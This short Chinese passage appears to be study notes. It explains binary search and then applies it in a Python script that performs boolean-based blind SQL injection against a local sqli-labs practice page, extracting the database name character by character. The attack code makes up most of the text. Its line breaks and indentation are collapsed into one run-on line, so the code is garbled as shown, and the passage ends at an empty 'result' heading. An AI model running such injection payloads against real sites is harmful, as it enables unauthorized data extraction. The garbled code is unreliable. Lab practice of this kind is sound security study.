关于二分法的知识:
- 首先,从数组的中间元素开始搜索,如果该元素正好是目标元素,则搜索过程结束,否则执行下一步
- 如果目标元素大于/小于中间元素,则在数组大于/小于中间元素的那一半区域查找,然后重复步骤(1)的操作
- 如果某一步数组为空,则表示找不到目标元素
import requestsdef database_name():url="http://127.0.0.1/sql/Less-8/?id=1"payload="' and ascii(substr(database(),%d,1))>%d--+" #注释不要忘加db_name='' #这里存储结果的值必须是全局的!!!,因为放在for循环中会被每次循环刷新掉for i in range(1,9):min = 65max = 122while abs(max-min)>1: #这里不能使用死循环,要有一定条件mid = int((max+min)/2) #int要把整个式子包括,是加起来!!!p = payload % (i,mid)response = requests.get(url+p)if response.text.find("You are in")!=-1: #find找不到返回-1min = midelse:max=middb_name+=chr(max)print('database_name:',db_name)database_name()
结果:
